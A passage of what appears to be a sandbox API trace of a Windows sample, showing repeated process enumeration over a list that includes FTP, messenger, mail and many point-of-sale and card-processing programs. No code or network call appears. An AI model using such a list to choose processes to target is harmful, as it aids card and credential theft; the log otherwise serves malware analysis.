th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0218.119] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0218.121] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0218.124] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0218.127] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0218.130] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0218.132] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0218.134] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0218.136] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0218.146] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0218.149] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0218.151] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0218.155] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0218.158] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0218.160] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0218.163] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0218.166] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0218.168] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0218.171] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0218.173] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0218.177] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0218.180] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0218.182] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0218.185] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0218.188] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0218.191] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0218.193] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.196] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0218.198] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0218.202] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.324] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0218.327] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0218.329] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0218.332] CloseHandle (hObject=0x11c8) returned 1 [0218.332] Sleep (dwMilliseconds=0x64) [0218.334] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0218.348] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.351] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.353] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.355] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.358] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.360] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.362] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.365] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.367] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.370] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.373] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.375] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.377] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.380] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.383] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.385] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.387] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.390] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.393] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.395] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.397] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0218.399] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.402] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.406] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0218.410] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0218.413] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0218.415] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0218.417] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0218.419] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0218.420] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0218.422] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.426] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.428] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0218.429] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.431] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0218.433] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0218.600] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0218.602] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0218.605] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0218.607] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0218.609] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0218.612] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0218.614] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0218.616] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0218.620] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0218.622] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0218.625] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0218.627] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0218.631] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0218.633] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 